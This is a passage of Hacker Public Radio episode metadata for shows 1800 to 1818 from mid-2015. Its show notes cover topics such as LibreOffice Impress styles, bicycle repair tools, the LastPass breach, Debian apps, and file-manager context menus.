                                                            \nAlthough my wife and I have a Cable TV subscription, I have maintained I could give it up easily because so much of what I am interested in is online anyway. For many people that might mean Netflix or Hulu, but for me it means YouTube. This is the golden age of narrow-casting, as opposed to broadcasting, because YouTube gives so many creators the opportunity to find their own audience for things that dont appeal to the masses.\nFor more go to https://www.palain.com/?p=243\n

                                                            \n

                                                            \nLinks:\n

                                                            \n\n\n\n

                                                            Links

                                                            \n\n

                                                            \n(Added)\n

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, online video, subscriptions, Patreon","version":0,"downloads":0,"valid":1}, {"id":1801,"date":"2015-06-29","title":"How to tell your left earbud from your right","duration":152,"summary":"Lowering the quality of shows, Ken provides a lifehack tip.","notes":"

                                                            AMAZING LIFE HACK

                                                            \n

                                                            \nTie a knot in your left ear bud lead, and you can feel which is which without looking.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lifehack, earphones, knots, tips, hints, tricks","version":0,"downloads":0,"valid":1}, {"id":1802,"date":"2015-06-30","title":"An Interview with Emily Hampton a LinuxFest Northwest Volunteer","duration":415,"summary":"An Interview with Emily Hampton a LinuxFest Northwest Volunteer","notes":"

                                                            Emily Hampton

                                                            \n\n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"LinuxFest Northwest, Volunteers","version":0,"downloads":0,"valid":1}, {"id":1803,"date":"2015-07-01","title":"What's In My Bag?","duration":758,"summary":"The geek dad describes his daily carry gear and bag","notes":"

                                                            \nThe blog on Knightwise.com which inspired/sourced this episode: https://knightwise.com/whats-in-your-bag-week-day-3-matt-mcgraw/\n

                                                            \n

                                                            \nThe photo of my gear: https://cloud.thestrangeland.net/index.php/s/meDq3hozvgkay2W
                                                            \n\"photo\n

                                                            \n","hostid":255,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"gear, daily carry, what's in my bag","version":0,"downloads":0,"valid":1}, {"id":1804,"date":"2015-07-02","title":"What's in my Bicycle Repair Tool Box","duration":1454,"summary":"I describe what's in my bike repair tool box and what the tools do.","notes":"

                                                            Tools Mentioned

                                                            \n\n

                                                            Unless otherwise stated, all are made by Park Bicycle Tools: https://www.parktool.com/

                                                            \n\n
                                                              \n
                                                            • SPA-1: Pin Spanner: Green
                                                            • \n
                                                            • SPA-6: Adjustable Pin Spanner
                                                            • \n
                                                            • SW-7: Triple Spoke Wrench
                                                            • \n
                                                            • XLC bike tools crank tool TO-C02 (Crankarm removal tool): https://www.amazon.com/XLC-bike-tools-crank-tool/dp/B000NU2WAS/
                                                            • \n
                                                            • SCW-13, SCW-15: 13mm, 15mm Shop Cone Wrenches
                                                            • \n
                                                            • DCW-1: Double-Ended Cone Wrench
                                                            • \n
                                                            • FR-1, 2, 5, 6: Freewheel Remover tools
                                                            • \n
                                                            • BBT-22: Bottom Bracket Tool
                                                            • \n
                                                            • CN-10: Professional Cable and Housing Cutter
                                                            • \n
                                                            • Avenir \"Third Hand\" Cable Puller: 94-27-403 (https://www.avenirusa.com/parts-and-accessories/tools/cable-tools/third-hand-cable-puller.html)
                                                            • \n
                                                            • HCW-5: Crank and Bottom Bracket Wrench
                                                            • \n
                                                            • CT-3: Chain tool
                                                            • \n
                                                            • HCW-15: Headset Wrench
                                                            • \n
                                                            • Ferrules for cable housing
                                                            • \n
                                                            • Cable End Caps
                                                            • \n
                                                            • TW-1: Torque Wrench
                                                            • \n
                                                            • SR-1: Sprocket Remover / Chain Whip
                                                            • \n
                                                            • Vise Grips (small and large)
                                                            • \n
                                                            • Adjustable wrenches: 6\", 8\", 10\", 12\"
                                                            • \n
                                                            ","hostid":238,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"bicycles, bicycle repair, DIY, tools","version":0,"downloads":0,"valid":1}, {"id":1805,"date":"2015-07-03","title":"56 - LibreOffice Impress - Styles and Objects 1 - Presentation Styles","duration":896,"summary":"Presentation Styles and their use in LibreOffice Impress","notes":"

                                                            \nWe have previously looked at Styles for Writer, and for Calc, and now it is time to look at them for Impress. You may recall from both Writer and Calc that we saw it is important to know that Styles live inside of Templates. So any time you change a Style you needed to make sure it was saved inside of a Template, and if you wanted it to be generally available in all documents or spreadsheets you needed to be sure to make the change inside the Default Template.\nFor more go to https://www.ahuka.com/?page_id=1125\n

                                                            \n

                                                            \nLinks\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, Styles","version":0,"downloads":0,"valid":1}, {"id":1806,"date":"2015-07-06","title":"HPR Community News for June 2015","duration":6069,"summary":"HPR Community News for June 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n kurakura, \n GNULinuxRTM, \n cheeto4493.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1781Mon2015-06-01HPR Community News for May 2015HPR Volunteers
                                                            1782Tue2015-06-02ChorusText - a Non-visual Text Editor Open Assistive Device Projectkurakura
                                                            1783Wed2015-06-03Windows To Linux - Better Late Than Never.GNULinuxRTM
                                                            1784Thu2015-06-04Intro to the Fugue and the Open Well-Tempered ClavierJon Kulp
                                                            1785Fri2015-06-0554 - LibreOffice Impress - Creating a PresentationAhuka
                                                            1786Mon2015-06-08What is MapReduce?Charles in NJ
                                                            1787Tue2015-06-09A Beginner with a WokFrank Bell
                                                            1788Wed2015-06-10Podcrawl Glasgow 2015Kevie
                                                            1789Thu2015-06-11The Ubuntu Quickly Ebook Template and Ebooks in GeneralJon Kulp
                                                            1790Fri2015-06-12Penguicon 2015 ReportAhuka
                                                            1791Mon2015-06-15Organizing Photos with BashTony Pelaez
                                                            1792Tue2015-06-16An Interview with Andrea FrostDavid Whitman
                                                            1793Wed2015-06-17Some thoughts about the Go languageStilvoid
                                                            1794Thu2015-06-1812-Tone Music and My Random 12 Tone Row of the DayJon Kulp
                                                            1795Fri2015-06-1954 - LibreOffice Impress - Templates and Master PagesAhuka
                                                            1796Mon2015-06-22Audacity - Chains, Notches and Labelscheeto4493
                                                            1797Tue2015-06-23An Interview with Aaron Wolf of the Snowdrift Co-op ProjectDavid Whitman
                                                            1798Wed2015-06-24Machine learning and service robots.mirwi
                                                            1799Thu2015-06-25Posting From the Command Line on Open Social NetworksJon Kulp
                                                            1800Fri2015-06-26YouTube Video SubscriptionsAhuka
                                                            1801Mon2015-06-29How to tell your left earbud from your rightKen Fallon
                                                            1802Tue2015-06-30An Interview with Emily Hampton a LinuxFest Northwest VolunteerDavid Whitman
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Mike Ray <mike@...>
                                                              \n Date: 2015-06-02 11:01:26 +0100
                                                              \n Subject: Comment form and edit field accessibility
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/863
                                                              \n Messages: 6

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-06-03 08:50:04 +0200
                                                              \n Subject: Git repository
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/869
                                                              \n Messages: 21

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-06-03 08:52:14 +0200
                                                              \n Subject: PHP Developers
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/870
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-06-11 08:23:31 +0200
                                                              \n Subject: Fwd: Ohio LinuxFest 2015 Call for Presentations
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/891
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-06-22 11:13:58 +0200
                                                              \n Subject: New linux podcast #SYSTEMAU
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/892
                                                              \n Messages: 3

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-06-24 12:41:04 +0200
                                                              \n Subject: Help with shownotes, tags and summaries
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/895
                                                              \n Messages: 2

                                                            12. \n
                                                            13. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-06-29 15:51:27 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-07-04T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/897
                                                              \n Messages: 1
                                                            14. \n
                                                            \nTotal messages this month: 35
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 48 comments:

                                                            \n
                                                              \n
                                                            • hpr1728\n(2015-03-18) \"Requested Topic: Favourite Browser Extensions\"\nby Fin.\n
                                                              • Comment 2:\nBob Evans on 2015-06-01:\n\"Ad-Block Edge discontinued\"
                                                              • \n

                                                            • \n
                                                            • hpr1766\n(2015-05-11) \"Sox of Silence\"\nby Ken Fallon.\n
                                                              • Comment 2:\nUrugami on 2015-06-12:\n\"Can it do this....\"
                                                              • \n

                                                            • \n
                                                            • hpr1771\n(2015-05-18) \"Audacity: Label Tracks\"\nby Jon Kulp.\n
                                                              • Comment 3:\nUrugami on 2015-06-12:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1774\n(2015-05-21) \"Router Hacking\"\nby Jon Kulp.\n
                                                              • Comment 3:\nFiftyOneFifty on 2015-06-01:\n\"Single board options\"
                                                              • Comment 4:\nUrugami on 2015-06-12:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1780\n(2015-05-29) \"16 - TrueCrypt and GnuPG - An Update\"\nby Ahuka.\n
                                                              • Comment 2:\nAlison Chaiken on 2015-06-10:\n\"TrueCrypt vs. GPG\"
                                                              • Comment 3:\nKevin O'Brien on 2015-06-17:\n\"Audited\"
                                                              • \n

                                                            • \n
                                                            • hpr1782\n(2015-06-02) \"ChorusText - a Non-visual Text Editor Open Assistive Device Project\"\nby kurakura.\n
                                                              • Comment 1:\nMike Ray on 2015-06-02:\n\"Chorustext!\"
                                                              • Comment 2:\nJon Kulp on 2015-06-02:\n\"Awesome in Many Ways\"
                                                              • Comment 3:\nMike Ray on 2015-06-08:\n\"Smashing the monopoly of commercial gadgetry\"
                                                              • \n

                                                            • \n
                                                            • hpr1783\n(2015-06-03) \"Windows To Linux - Better Late Than Never.\"\nby GNULinuxRTM.\n
                                                              • Comment 1:\nJon Kulp on 2015-06-02:\n\"Updates Pain! \"
                                                              • Comment 2:\n0xf10e on 2015-06-06:\n\"Entertaining episode!\"
                                                              • Comment 3:\nStilvoid on 2015-06-07:\n\"Seconded\"
                                                              • \n

                                                            • \n
                                                            • hpr1784\n(2015-06-04) \"Intro to the Fugue and the Open Well-Tempered Clavier\"\nby Jon Kulp.\n
                                                              • Comment 1:\nKevin O'Brien on 2015-06-04:\n\"Great show!\"
                                                              • Comment 2:\nJon Kulp on 2015-06-04:\n\"Open Scores\"
                                                              • Comment 3:\nRobert Douglass on 2015-06-04:\n\"Lady Gaga - fan of Bach and the Well-Tempered Clavier\"
                                                              • Comment 4:\nJon Kulp on 2015-06-04:\n\"Gaga Bach\"
                                                              • Comment 5:\nKen Fallon on 2015-06-06:\n\"Now I'm "seeing" this everythere \"
                                                              • Comment 6:\nJon Kulp on 2015-06-06:\n\"Feature, not a bug\"
                                                              • Comment 7:\nFrank on 2015-06-07:\"[no title]\"
                                                              • Comment 8:\nDaniel Worth on 2015-06-08:\n\"Fantastic\"
                                                              • Comment 9:\nAlison Chaiken on 2015-06-28:\n\"Heard "Fugue for Friday"?\"
                                                              • Comment 10:\nJon Kulp on 2015-06-28:\n\"Dragnet Fugue\"
                                                              • \n

                                                            • \n
                                                            • hpr1787\n(2015-06-09) \"A Beginner with a Wok\"\nby Frank Bell.\n
                                                              • Comment 1:\nJon Kulp on 2015-06-09:\n\"What about broccoli?\"
                                                              • Comment 2:\nMike Ray on 2015-06-10:\n\"And baby corns\"
                                                              • Comment 3:\nFrank on 2015-06-10:\"[no title]\"
                                                              • Comment 4:\nJon Kulp on 2015-06-10:\n\"Hollandaise??\"
                                                              • Comment 5:\nDave Morriss on 2015-06-10:\n\"Thinks to stir-fry\"
                                                              • Comment 6:\nDave Morriss on 2015-06-10:\n\"Things not thinks\"
                                                              • Comment 7:\nMike Ray on 2015-06-10:\n\"Round-bttomed woks\"
                                                              • Comment 8:\nDave Morriss on 2015-06-10:\n\"Wok rings\"
                                                              • Comment 9:\nFrank on 2015-06-11:\"[no title]\"
                                                              • Comment 10:\njezra on 2015-06-11:\n\"chicken and woks\"
                                                              • Comment 11:\nFrank on 2015-06-12:\"[no title]\"
                                                              • Comment 12:\nFiftyOneFifty on 2015-06-13:\"[no title]\"
                                                              • Comment 13:\nFrank on 2015-06-16:\n\"Thanks for the suggestion\"
                                                              • \n

                                                            • \n
                                                            • hpr1788\n(2015-06-10) \"Podcrawl Glasgow 2015\"\nby Kevie.\n
                                                              • Comment 1:\nKen Fallon on 2015-06-11:\n\"So near and yet so expensive\"
                                                              • \n

                                                            • \n
                                                            • hpr1791\n(2015-06-15) \"Organizing Photos with Bash\"\nby Tony Pelaez.\n
                                                              • Comment 1:\nDave Morriss on 2015-06-23:\n\"Yay for Bash scripts!\"
                                                              • Comment 2:\nTony Pelaez on 2015-06-28:\n\"Google CL is broken\"
                                                              • \n

                                                            • \n
                                                            • hpr1793\n(2015-06-17) \"Some thoughts about the Go language\"\nby Stilvoid.\n
                                                              • Comment 1:\nFrank on 2015-06-18:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2015-06-19:\n\"Thanks for the show \"
                                                              • Comment 3:\nStilvoid on 2015-06-22:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1794\n(2015-06-18) \"12-Tone Music and My Random 12 Tone Row of the Day\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2015-06-19:\n\"Interesting lesson\"
                                                              • Comment 2:\nJon Kulp on 2015-06-19:\n\"Still Ugly \"
                                                              • Comment 3:\nMike Ray on 2015-06-20:\n\"Atonal music vs. Unrepresentative visual art\"
                                                              • Comment 4:\nKen Fallon on 2015-06-24:\n\"RSS feed\"
                                                              • Comment 5:\nJon Kulp on 2015-06-24:\n\"Enjoy pain?\"
                                                              • \n

                                                            • \n
                                                            • hpr1800\n(2015-06-26) \"YouTube Video Subscriptions\"\nby Ahuka.\n
                                                              • Comment 1:\nKen Fallon on 2015-06-29:\n\"Links\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1807,"date":"2015-07-07","title":"Arch Linux Development Environment: Ep1","duration":2181,"summary":"A tour of how to setup a base Arch Linux environment.","notes":"
                                                              \n
                                                            • Checking the network\n
                                                            • \n
                                                            • Partitioning\n
                                                            • \n
                                                            • Making the filesystems\n
                                                            • \n
                                                            • Mounting the filesystems\n
                                                            • \n
                                                            • Installing the base packages\n
                                                            • \n
                                                            • Generate the fstab\n
                                                            • \n
                                                            • Chroot and Configuration\n
                                                            • \n
                                                            • Boot Loading\n
                                                            • \n
                                                            \n\n

                                                            \nClick the link to see the complete show notes\n

                                                            \n","hostid":286,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Arch Linux, dev, environment","version":0,"downloads":0,"valid":1}, {"id":1808,"date":"2015-07-08","title":"David Whitman reads 'The Shooting of Dan McGrew' written by Robert W Service","duration":467,"summary":"For his birthday David Whitman recites the Robert W Service ballad, ","notes":"

                                                            \nfrom The Project Gutenberg EBook of Songs of a Sourdough, by Robert Service\n

                                                            \n

                                                            \nThis eBook is for the use of anyone anywhere at no cost and with\nalmost no restrictions whatsoever. You may copy it, give it away or\nre-use it under the terms of the Project Gutenberg License included\nwith this eBook or online at www.gutenberg.org\n

                                                            \n

                                                            \nThe orginal work published 1907. Copyright expired in U.S. See the Project Gutenberg website for their copyright notices\n

                                                            \n

                                                            \nBibliographic Record

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Author  Service, Robert W. (Robert William), 1874-1958
                                                            Title  Songs of a Sourdough
                                                            Language  English
                                                            LoC Class  PR: Language and Literatures: English literature
                                                            Subject  Yukon River Valley (Yukon and Alaska) -- Poetry
                                                            Category  Text
                                                            EBook-No.  25546
                                                            Release Date  May 20, 2008
                                                            Copyright Status  Public domain in the USA.
                                                            Downloads  55 downloads in the last 30 days.
                                                            Price  $0.00

                                                            \n

                                                            \nTitle: The Spell of the Yukon\n

                                                            \n

                                                            \nAuthor: Robert Service\n

                                                            \n

                                                            \nPosting Date: July 11, 2008 EBook https://www.gutenberg.org/ebooks/25546
                                                            \nRelease Date: January, 1995\n

                                                            \n

                                                            \nPDF version\n

                                                            \n

                                                            \nInteresting Info at https://en.wikipedia.org/wiki/The_Shooting_of_Dan_McGrew\n

                                                            \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Poetry, Birthday, Yukon","version":0,"downloads":0,"valid":1}, {"id":1809,"date":"2015-07-09","title":"My \"New\" Used Kindle Touch","duration":665,"summary":"I talk about why used stuff is often better than new stuff, with my new used Kindle Touch as example","notes":"

                                                            In this show I talk about why I like to buy stuff used whenever possible, whether it be printers, routers, shirts, books, or my latest acquisition, a used Kindle Touch, which in many ways is much better than my (much newer) Kindle paperwhite. Just for fun, I allow the Kindle Touch itself (using its built-in text-to-speech capabilities) to tell me the ways in which it's better than the Kindle Paperwhite.

                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kindle, eBook Readers, Used Stuff, Recycling, Thrifting","version":0,"downloads":0,"valid":1}, {"id":1810,"date":"2015-07-10","title":"17 - LastPass Hacked - What Does It Mean?","duration":1380,"summary":"LastPass was hacked, but how bad is it?","notes":"

                                                            \nOn June 15, LastPass disclosed that it had been hacked, and I think by now just about everyone has heard about it. I know I received questions because I have recommended LastPass often, and my advice has been to stay with them. What I want to do now is explain exactly why this was not quite the big deal it was made out to be in some quarters, and that anyone telling you to stop using password vaults is only asking you to lower your own security.\n

                                                            \n

                                                            \nFor more go to https://www.zwilnik.com/?page_id=841 \n

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"LastPass, password vault","version":0,"downloads":0,"valid":1}, {"id":1811,"date":"2015-07-13","title":"Life and Times of a Geek part 2","duration":2558,"summary":"Part 2 of my personal story of experiences with computers","notes":"

                                                            Introduction

                                                            \n

                                                            In the last part I told you of my first encounter with a mainframe computer and the Algol60 language while an undergraduate student at Aberystwyth University.

                                                            \n

                                                            Today I want to talk about the next stage as a postgraduate student at the University of Manchester.

                                                            \n

                                                            It seems to have taken me over 6 months to prepare this episode of this series, for which I apologise. I seem to get distracted as I do my background research.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are particularly long, the HTML version can be found by clicking this link, and an ePub version is is available by following this one.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"computer,programming,punched card,paper tape,teletype,graph plotter,Seymour Cray,CDC,Control Data Corporation,CDC 7600,Cray-1,ICL,ALGOL 60,FORTRAN,Pascal","version":0,"downloads":0,"valid":1}, {"id":1812,"date":"2015-07-14","title":"Headphones and a $2 Microphone","duration":1180,"summary":"I talk about my various headphones as I walk to my office.","notes":"

                                                            In this episode I use a https://www.amazon.com/gp/product/B005DJOIHE $2 microphone to record as I walk from home to my office. The topic is the 5 pairs of headphones I have and their various features, qualities, drawbacks, etc.

                                                            \n\n

                                                            Headphones Mentioned in Podcast

                                                            \n\n
                                                              \n\t
                                                            • Neewer 3.5mm Hands Free Computer Clip on Mini Lapel Microphone
                                                            • \n\t
                                                            • Bose Quiet Comfort 15
                                                            • \n\t
                                                            • Sennheiser HD 550A
                                                            • \n\t
                                                            • Aftershokz Sportz M2 Bone-Conduction Headphones
                                                            • \n\t
                                                            • Sony MDR-J10 H ear headphones with non-slip design
                                                            • \n\t
                                                            • Howard Leight 1030110 sync noise-blocking stereo earmuffs
                                                            • \n
                                                            \n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"headphones, microphones, audio","version":0,"downloads":0,"valid":1}, {"id":1813,"date":"2015-07-15","title":"Apt Spelunking: surf, lightyears, and fbterm","duration":896,"summary":"Windigo introduces several applications he found by wandering around the debian repositories.","notes":"

                                                            \n\"Apt spelunking\" is a silly term I made up for the act of searching through the Debian package repositories with vague terms, and trying out random applications therein.\n

                                                            \n

                                                            \nToday, we will be covering three packages: surf, lightyears, fbterm\n

                                                            \n\n

                                                            surf

                                                            \n\n

                                                            \nSurf is a lightweight, graphical browser. It uses the webkit rendering engine, and is a GTK-based application (not that you can tell). It is extremely spartan. Part of the suckless project, surf takes the Unix philosophy to it's extreme.\n

                                                            \n

                                                            \nEssentially, you only get a single browser window. No tabs, bookmarks, or other interface to speak of. Any navigation is accomplished through links on the page, or some very rudimentary keyboard shortcuts. Ctrl+H goes forward in history, and Ctrl+L goes backwards. If you want to visit a URL, you can either send it as a command-line argument, or use Ctrl+G to bring up a drun-like text input. It is perfect for lightweight system configurations, surf does the bear minimum to qualify as a web browser.\n

                                                            \n

                                                            \nIf you're looking for zen simplicity, or want an easy way to embed a web app in its own window without a lot of overhead, surf is an excellent option.\n

                                                            \n\n

                                                            lightyears

                                                            \n\n

                                                            \n20,000 light years into space bills itself as a \"single player real-time strategy game with steampunk sci-fi\". In it, you are given a square of alien landscape, dotted with steam vents, and a small settlement at the center. This settlement runs on the steam so abundant on this alien world, and it's your job to keep the steam flowing.\n

                                                            \n

                                                            \nThe game consists of building steam nodes, which capture steam from the vents, and connecting them back to your settlement. Of course, you can't simply build a straight pipe back to your settlement; the length of the pipe is taken into account, and the longer the pipe, the harder it is to get steam to travel through it. You can get around this by daisy chaining nodes together in a web, and providing multiple routes back to your settlement. Running a steam-powered base on this alien planet isn't without its share of dangers, however! There are aliens, inclement weather, and seismic instability that can all damage your network of steam pipes and nodes. If your steam pressure falls below a certain threshold, you lose. \n

                                                            \n

                                                            \nThis game has an eerie similarity to network engineering, and I've always enjoyed it a lot. It can get very frustrating, though, and the difficulty levels are steep steps. If you're interested in strategy games, I'd highly recommend giving this one a try.\n

                                                            \n\n

                                                            fbterm

                                                            \n\n

                                                            \nAnother in the lightweight category, fbterm is a terminal emulator that's designed to be run with a framebuffer. A framebuffer is a low-level method for displaying text and/or graphics on a monitor, and is often used to run GUI applications without the overhead of an X server.\n

                                                            \n

                                                            \nYou can use fbterm to get an antialiased terminal, with freetype font support. That means you can use bitmap and vector fonts, just like most full-featured terminal emulators, without the extra weight of running an X session and window manager.\n

                                                            \n

                                                            \nIf you like window managers, you could also use fbterm as a replacement for one of your consoles, using a program called \"rungetty\". Here's the instructions: https://superuser.com/a/810655/21018 I don't mind having fbterm as a backup terminal, in case I need to debug an X session or my window manager has locked up. Having an option that is more graphically pleasing than a bare getty TTY can be a lifesaver.\n

                                                            ","hostid":196,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"games,debian,terminal,browser","version":0,"downloads":0,"valid":1}, {"id":1814,"date":"2015-07-16","title":"Custom Context Menus in GNU/Linux GUI File Managers","duration":763,"summary":"I describe how to add custom context menu items in the Nautilus and Thunar file managers.","notes":"

                                                            On Nautilus

                                                            \n\n

                                                            On Nautilus you have to put your scripts into the Nautilus scripts folder, which on my system is located here:

                                                            \n\n
                                                            \n~/.local/share/nautilus/scripts\n
                                                            \n\n

                                                            You can either put copies of the scripts in there, or you can do like I did and make symlinks from the Nautilus scripts folder to your /home/bin folder. (I prefer to make symlinks instead of copying the files in there, just in case I make any changes to my scripts. If I have made a symlink instead of copying the file, then I only have to change original script and the symlink will automatically use the updated version.) Once you've done that, you right-click on a file and choose scripts then <yourscriptname> to run your script on the file.

                                                            \n\n

                                                            Thunar

                                                            \n\n

                                                            On Thunar you don't have to put your scripts anywhere special. It actually handles custom actions much better than Nautilus, in my opinion. What you do is go to the Edit menu and choose Configure custom actions. Then you get a dialog box with two tabs. The first tab is where you can give your custom action a name and then tell it what command to run, and also tell it whether to apply the custom action only to the selected file, to all files in the directory, or to all selected files. On the other tab you choose the context in which this custom action will appear. You can select categories of files—like images, audio files, or text files, and so forth—or you can specify filetypes by extension, so that your custom action will only appear if you right click on a file that has the extension.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Scripting, File Managers, Desktop Customization, GNU/Linux","version":0,"downloads":0,"valid":1}, {"id":1815,"date":"2015-07-17","title":"57 - LibreOffice Impress - Styles and Objects 2 - Drawing Object Styles","duration":997,"summary":"Drawing Object Styles and their use in LibreOffice Impress","notes":"

                                                            \nIn the previous tutorial we looked at Presentation Styles, and I started with them because they were mostly similar to what we already covered in Writer when we looked at Paragraph styles. But Impress is a graphical product, so we need to wrap our heads around a different set of issues here. and that brings us to Drawing Object Styles.\n

                                                            \n

                                                            \nFor more go to https://www.ahuka.com/?page_id=1182\n

                                                            \n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, Styles","version":0,"downloads":0,"valid":1}, {"id":1816,"date":"2015-07-20","title":"Visualising HPR tags","duration":549,"summary":"Using GraphViz to visualise the tags on HPR episodes","notes":"

                                                            As you know, HPR asks for tags to be added to the episodes we contribute. These are intended to be used to produce some kind of improved topic search at some point in the future.

                                                            \n

                                                            I find it difficult to decide what tags to add to my shows, and I expect many people feel the same way about it. Should I use common tags like Linux or does that not differentiate it enough? How many tags should I add, should the words be plural or singular?

                                                            \n

                                                            We have recently been asked to contribute to the task of adding tags to previous shows, so it's very much a hot topic at the moment.

                                                            \n

                                                            In thinking about this I wondered if there was a way in which existing tags could be represented in a visual way to help with the process of choosing and rationalising tags. It was the type of thought that occurs to you in the shower or while out for a walk.

                                                            \n

                                                            In my last job I occasionally used a package called GraphViz to generate graphical representations. I used it to generate a chart showing how the organisation (a university) was divided up into schools, departments, sections and so on in a hierarchical manner. I wondered if it could be used for this task.

                                                            \n

                                                            I decided to use my currently preferred scripting language, Perl, and found there was a module which let me access GraphViz. I started putting together a script.

                                                            \n

                                                            The script was created in an evening and is still rather rough. It performs a very simple query on the database to obtain the show numbers of shows with tags, their titles and their tags. It then uses a CSV parser to parse the tag list and builds a hash table indexed by tags, where the contents per tag are the show numbers that use this tag.

                                                            \n

                                                            Having built this hash table it is used to generate GraphViz data by making each tag and each show number a node and joining them together.

                                                            \n

                                                            Finally the script processes the graph to produce output in SVG format which is available to view.

                                                            \n

                                                            Bear in mind that this is not a finished project - it may never be finished! The script may not be ideal. My understanding of GraphViz may be insufficient, and the rendering of the SVG may not be good (I got various results on different browsers).

                                                            \n

                                                            However, you might find it interesting or even useful. Feedback on the idea is welcome.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Perl,GraphViz,tags,SVG","version":0,"downloads":0,"valid":1}, {"id":1817,"date":"2015-07-21","title":"Gathering Parts","duration":1395,"summary":"NYbill talks about the process he goes through while starting an electronics project.","notes":"

                                                            \nThe web site that started this all:\n

                                                            \n\n\n\n

                                                            \nBig Muff Pi:\n

                                                            \n\n\n\n

                                                            \nParts Distributors:\n

                                                            \n\n\n\n

                                                            \nHammond Box:\n

                                                            \n\n\n\n

                                                            \nJoe Knows:\n

                                                            \n\n\n\n

                                                            \nPicture of the gathered parts:\n

                                                            \n\n\n\n

                                                            \nWhen I made the reference to \"two red lips\" regarding resistor colors I didn't quite explain what that meant. It was a way I learned, way back when, to remember which color was which number on a resistor. I hadn't thought about it in years. It used rhyming and references scheme to line the colors up with values. \n

                                                            \n
                                                            \n0- Black - It's a \"no\" color, a zero\n1- Brown - 'brow-one'\n2- Red - Two red lips\n3- Orange - Orange tree\n4- Yellow - Yell for help\n5- Green - a five dollar bill is green\n6- Blue - Blue and sick\n7- Violet - Violet heaven\n8- Gray - Great\n9- White - White wine\n
                                                            \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"electronics,guitar pedal,fuzzbox,resistor colours","version":0,"downloads":0,"valid":1}, {"id":1818,"date":"2015-07-22","title":"Review of HPR's Interview Recorder: Zoom H1","duration":1578,"summary":"HPR has a digital recorder. You are welcome to use it for interviews at your next tech event.","notes":"

                                                            \nThe Hacker Public Radio network owns a Zoom H1 digital voice recorder. If you are going to attend an open source event and think you would like to record interviews for Hacker Public Radio, make inquires to the mailing list and the correspondent with the recorder in their possession (currently FiftyOneFifty) will send it to you. This episode is a review of the devices features and how to use them.\n

                                                            \n

                                                            \nManufacturer page: https://www.zoom-na.com/products/field-video-recording/field-recording/zoom-h1-handy-recorder\n
